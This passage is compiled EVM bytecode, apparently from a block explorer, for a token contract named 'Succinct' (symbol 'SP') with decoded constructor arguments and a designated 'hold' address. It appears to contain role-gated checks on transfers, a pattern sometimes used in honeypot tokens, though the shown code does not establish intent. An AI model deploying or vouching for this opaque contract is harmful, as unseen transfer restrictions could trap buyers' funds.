60f81b1660f81c60ff1681518110611f8657611f85613397565b5b602001015160f81c60f81b82600283611f9f919061356a565b6003611fab91906139a7565b81518110611fbc57611fbb613397565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a9053508080600101915050611e77565b50809350505050919050565b60605f8203612049576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050612157565b5f8290505f5b5f8214612078578080612061906139da565b915050600a826120719190613a4e565b915061204f565b5f8167ffffffffffffffff81111561209357612092612ca7565b5b6040519080825280601f01601f1916602001820160405280156120c55781602001600182028036833780820191505090505b5090505b5f8514612150576001826120dd9190613a7e565b9150600a856120ec9190613ab1565b60306120f891906139a7565b60f81b81838151811061210e5761210d613397565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a905350600a856121499190613a4e565b94506120c9565b8093505050505b919050565b5f60038251146121a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161219890613b2b565b60405180910390fd5b5f825f815181106121b5576121b4613397565b5b602002602001015190505f836001815181106121d4576121d3613397565b5b602002602001015190505f612203856002815181106121f6576121f5613397565b5b60200260200101516129c3565b905060066040516020016122179190613bc9565b604051602081830303815290604052805190602001208360405160200161223e9190613112565b604051602081830303815290604052805190602001201480156122ef5750600a5460085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156122c9573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906122ed91906136cb565b105b80156123525750600e5f7fa49807205ce4d355092ef5a8a18f56e8913cf4a201fbe287825b095693c2177581526020019081526020015f20826040516123359190613112565b90815260200160405180910390205f9054906101000a900460ff16155b15612362575f93505050506127a2565b5f6007541261257a57600460405160200161237d9190613bc9565b60405160208183030381529060405280519060200120600d5f7ffacaf2747a7486cf5730e9265973fb54447d3ace6e7e4711f6360826b073194181526020019081526020015f20846040516123d29190613112565b90815260200160405180910390206040516020016123f09190613bc9565b60405160208183030381529060405280519060200120036125755780600c5f7ffacaf2747a7486cf5730e9265973fb54447d3ace6e7e4711f6360826b073194181526020019081526020015f208460405161244b9190613112565b90815260200160405180910390205f8154811061246b5761246a613397565b5b905f5260205f2001541015801561248157505f81115b156125695780600c5f7ffacaf2747a7486cf5730e9265973fb54447d3ace6e7e4711f6360826b073194181526020019081526020015f20846040516124c69190613112565b90815260200160405180910390205f815481106124e6576124e5613397565b5b905f5260205f2001546124f99190613a7e565b600c5f7ffacaf2747a7486cf5730e9265973fb54447d3ace6e7e4711f6360826b073194181526020019081526020015f20846040516125389190613112565b90815260200160405180910390205f8154811061255857612557613397565b5b905f5260205f200181905550612574565b5f93505050506127a2565b5b61279a565b600660405160200161258c9190613bc9565b60405160208183030381529060405280519060200120836040516020016125b39190613112565b60405160208183030381529060405280519060200120148061262b5750600e5f7fa49807205ce4d355092ef5a8a18f56e8913cf4a201fbe287825b095693c2177581526020019081526020015f208360405161260f9190613112565b90815260200160405180910390205f9054906101000a900460ff165b6127995780600c5f7ffacaf2747a7486cf5730e9265973fb54447d3ace6e7e4711f6360826b073194181526020019081526020015f208460405161266f9190613112565b90815260200160405180910390205f8154811061268f5761268e613397565b5b905f5260205f200154101580156126a557505f81115b1561278d5780600c5f7ffacaf2747a7486cf5730e9265973fb54447d3ace6e7e4711f6360826b073194181526020019081526020015f20846040516126ea9190613112565b90815260200160405180910390205f8154811061270a57612709613397565b5b905f5260205f20015461271d9190613a7e565b600c5f7ffacaf2747a7486cf5730e9265973fb54447d3ace6e7e4711f6360826b073194181526020019081526020015f208460405161275c9190613112565b90815260200160405180910390205f8154811061277c5761277b613397565b5b905f5260205f200181905550612798565b5f93505050506127a2565b5b5b600193505050505b919050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036127f7578060035f8282546127eb91906139a7565b925050819055506128c7565b5f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015612881578381836040517fe450d38c00000000000000000000000000000000000000000000000000000000815260040161287893929190613705565b60405180910390fd5b81810360015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361290e578060035f8282540392505081905550612959565b8060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516129b69190612c86565b60405180910390a3505050565b5f5f8290505f5f90505f5f90505b8251811015612a4d575f8382815181106129ee576129ed613397565b5b602001015160f81c60f81b60f81c60ff16905060308110158015612a13575060398111155b15612a3f57603081612a259190613a7e565b600a84612a32919061356a565b612a3c91906139a7565b92505b5080806001019150506129d1565b508092505050919050565b5f604051905090565b5f5ffd5b5f5ffd5b5f7fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b612a9d81612a69565b8114612aa7575f5ffd5b50565b5f81359050612ab881612a94565b92915050565b5f60208284031215612ad357612ad2612a61565b5b5f612ae084828501612aaa565b91505092915050565b5f8115159050919050565b612afd81612ae9565b82525050565b5f602082019050612b165f830184612af4565b92915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f612b5e82612b1c565b612b688185612b26565b9350612b78818560208601612b36565b612b8181612b44565b840191505092915050565b5f6020820190508181035f830152612ba48184612b54565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612bd582612bac565b9050919050565b612be581612bcb565b8114612bef575f5ffd5b50565b5f81359050612c0081612bdc565b92915050565b5f819050919050565b612c1881612c06565b8114612c22575f5ffd5b50565b5f81359050612c3381612c0f565b92915050565b5f5f60408385031215612c4f57612c4e612a61565b5b5f612c5c85828601612bf2565b9250506020612c6d85828601612c25565b9150509250929050565b612c8081612c06565b82525050565b5f602082019050612c995f830184612c77565b92915050565b5f5ffd5b5f5ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b612cdd82612b44565b810181811067ffffffffffffffff82111715612cfc57612cfb612ca7565b5b80604052505050565b5f612d0e612a58565b9050612d1a8282612cd4565b919050565b5f67ffffffffffffffff821115612d3957612d38612ca7565b5b612d4282612b44565b9050602081019050919050565b828183375f83830152505050565b5f612d6f612d6a84612d1f565b612d05565b905082815260208101848484011115612d8b57612d8a612ca3565b5b612d96848285612d4f565b509392505050565b5f82601f830112612db257612db1612c9f565b5b8135612dc2848260208601612d5d565b91505092915050565b5f60208284031215612de057612ddf612a61565b5b5f82013567ffffffffffffffff811115612dfd57612dfc612a65565b5b612e0984828501612d9e565b91505092915050565b5f5f5f60608486031215612e2957612e28612a61565b5b5f612e3686828701612bf2565b9350506020612e4786828701612bf2565b9250506040612e5886828701612c25565b9150509250925092565b5f819050919050565b612e7481612e62565b8114612e7e575f5ffd5b50565b5f81359050612e8f81612e6b565b92915050565b5f60208284031215612eaa57612ea9612a61565b5b5f612eb784828501612e81565b91505092915050565b612ec981612e62565b82525050565b5f602082019050612ee25f830184612ec0565b92915050565b5f5f60408385031215612efe57612efd612a61565b5b5f612f0b85828601612e81565b9250506020612f1c85828601612bf2565b9150509250929050565b5f60ff82169050919050565b612f3b81612f26565b82525050565b5f602082019050612f545f830184612f32565b92915050565b5f60208284031215612f6f57612f6e612a61565b5b5f612f7c84828501612bf2565b91505092915050565b5f5f60408385031215612f9b57612f9a612a61565b5b5f83013567ffffffffffffffff811115612fb857612fb7612a65565b5b612fc485828601612d9e565b9250506020612fd585828601612c25565b9150509250929050565b5f5f60408385031215612ff557612ff4612a61565b5b5f61300285828601612bf2565b925050602061301385828601612bf2565b9150509250929050565b5f819050919050565b61302f8161301d565b8114613039575f5ffd5b50565b5f8135905061304a81613026565b92915050565b5f6020828403121561306557613064612a61565b5b5f6130728482850161303c565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806130bf57607f821691505b6020821081036130d2576130d161307b565b5b50919050565b5f81905092915050565b5f6130ec82612b1c565b6130f681856130d8565b9350613106818560208601612b36565b80840191505092915050565b5f61311d82846130e2565b915081905092915050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026131847fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82613149565b61318e8683613149565b95508019841693508086168417925050509392505050565b5f819050919050565b5f6131c96131c46131bf84612c06565b6131a6565b612c06565b9050919050565b5f819050919050565b6131e2836131af565b6131f66131ee826131d0565b848454613155565b825550505050565b5f5f905090565b61320d6131fe565b6132188184846131d9565b505050565b5b8181101561323b576132305f82613205565b60018101905061321e565b5050565b601f8211156132805761325181613128565b61325a8461313a565b81016020851015613269578190505b61327d6132758561313a565b83018261321d565b50505b505050565b5f82821c905092915050565b5f6132a05f1984600802613285565b1980831691505092915050565b5f6132b88383613291565b9150826002028217905092915050565b6132d182612b1c565b67ffffffffffffffff8111156132ea576132e9612ca7565b5b6132f482546130a8565b6132ff82828561323f565b5f60209050601f831160018114613330575f841561331e578287015190505b61332885826132ad565b86555061338f565b601f19841661333e86613128565b5f5b8281101561336557848901518255600182019150602085019450602081019050613340565b86831015613382578489015161337e601f891682613291565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b600185111561344657808604811115613422576134216133c4565b5b60018516156134315780820291505b808102905061343f856133f1565b9450613406565b94509492505050565b5f8261345e5760019050613519565b8161346b575f9050613519565b8160018114613481576002811461348b576134ba565b6001915050613519565b60ff84111561349d5761349c6133c4565b5b8360020a9150848211156134b4576134b36133c4565b5b50613519565b5060208310610133831016604e8410600b84101617156134ef5782820a9050838111156134ea576134e96133c4565b5b613519565b6134fc84848460016133fd565b92509050818404811115613513576135126133c4565b5b81810290505b9392505050565b5f61352a82612c06565b915061353583612f26565b92506135627fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461344f565b905092915050565b5f61357482612c06565b915061357f83612c06565b925082820261358d81612c06565b915082820484148315176135a4576135a36133c4565b5b5092915050565b5f815490506135b9816130a8565b9050919050565b5f819050815f5260205f209050919050565b8181036135e05750506136b5565b6135e9826135ab565b67ffffffffffffffff81111561360257613601612ca7565b5b61360c82546130a8565b61361782828561323f565b5f601f831160018114613644575f8415613632578287015490505b61363c85826132ad565b8655506136ae565b601f198416613652876135c0565b965061365d86613128565b5f5b828110156136845784890154825560018201915060018501945060208101905061365f565b868310156136a1578489015461369d601f891682613291565b8355505b6001600288020188555050505b5050505050505b565b5f815190506136c581612c0f565b92915050565b5f602082840312156136e0576136df612a61565b5b5f6136ed848285016136b7565b91505092915050565b6136ff81612bcb565b82525050565b5f6060820190506137185f8301866136f6565b6137256020830185612c77565b6137326040830184612c77565b949350505050565b5f60208201905061374d5f8301846136f6565b92915050565b7f4e6f74206861766520726f6c652e0000000000000000000000000000000000005f82015250565b5f613787600e83612b26565b915061379282613753565b602082019050919050565b5f6020820190508181035f8301526137b48161377b565b9050919050565b7f496e76616c69642061646472657373206c656e677468000000000000000000005f82015250565b5f6137ef601683612b26565b91506137fa826137bb565b602082019050919050565b5f6020820190508181035f83015261381c816137e3565b9050919050565b5f61382d82612bac565b915061383883612bac565b9250828203905073ffffffffffffffffffffffffffffffffffffffff811115613864576138636133c4565b5b92915050565b7f496e76616c69642063686172616374657220696e2061646472657373207374725f8201527f696e672e00000000000000000000000000000000000000000000000000000000602082015250565b5f6138c4602483612b26565b91506138cf8261386a565b604082019050919050565b5f6020820190508181035f8301526138f1816138b8565b9050919050565b5f61390282612bac565b915061390d83612bac565b925082820261391b81612bac565b91508282048414831517613932576139316133c4565b5b5092915050565b5f61394382612bac565b915061394e83612bac565b9250828201905073ffffffffffffffffffffffffffffffffffffffff81111561397a576139796133c4565b5b92915050565b5f6040820190506139935f8301856136f6565b6139a06020830184612ec0565b9392505050565b5f6139b182612c06565b91506139bc83612c06565b92508282019050808211156139d4576139d36133c4565b5b92915050565b5f6139e482612c06565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613a1657613a156133c4565b5b600182019050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f613a5882612c06565b9150613a6383612c06565b925082613a7357613a72613a21565b5b828204905092915050565b5f613a8882612c06565b9150613a9383612c06565b9250828203905081811115613aab57613aaa6133c4565b5b92915050565b5f613abb82612c06565b9150613ac683612c06565b925082613ad657613ad5613a21565b5b828206905092915050565b7f496e76616c696420706172616d6574657220636f756e740000000000000000005f82015250565b5f613b15601783612b26565b9150613b2082613ae1565b602082019050919050565b5f6020820190508181035f830152613b4281613b09565b9050919050565b5f8154613b55816130a8565b613b5f81866130d8565b9450600182165f8114613b795760018114613b8e57613bc0565b60ff1983168652811515820286019350613bc0565b613b9785613128565b5f5b83811015613bb857815481890152600182019150602081019050613b99565b838801955050505b50505092915050565b5f613bd48284613b49565b91508190509291505056fea264697066735822122070eb8b7dba51d59421764f57ff2b19b561153ed9d62e88e1cf1e9bfa0460d45e64736f6c634300081b0033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000077359400000000000000000000000000cf9e1f7a66622f237e11a0ddd2210f7e8a58fa18000000000000000000000000000000000000000000000000000000000000000853756363696e637400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000025350000000000000000000000000000000000000000000000000000000000000
0x000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000077359400000000000000000000000000cf9e1f7a66622f237e11a0ddd2210f7e8a58fa18000000000000000000000000000000000000000000000000000000000000000853756363696e637400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000025350000000000000000000000000000000000000000000000000000000000000
----Decoded View------------Arg [0] : name (string): SuccinctArg [1] : symbol (string): SPArg [2] : totalSupply (uint256): 2000000000Arg [3] : hold (address): 0xcf9e1f7A66622f237e11A0Ddd2210F7E8A58Fa18
----Encoded View------------Arg [0] : 0x0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000853756363696e6374000000000000000000000000000000000000000000000000Arg [1] : 0x000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000025350000000000000000000000000000000000000000000000000000000000000Arg [2] : 0x0000000000000000000000000000000000000000000000000000000077359400Arg [3] : 0x000000000000000000000000cf9e1f7a66622f237e11a0ddd2210f7e8a58fa18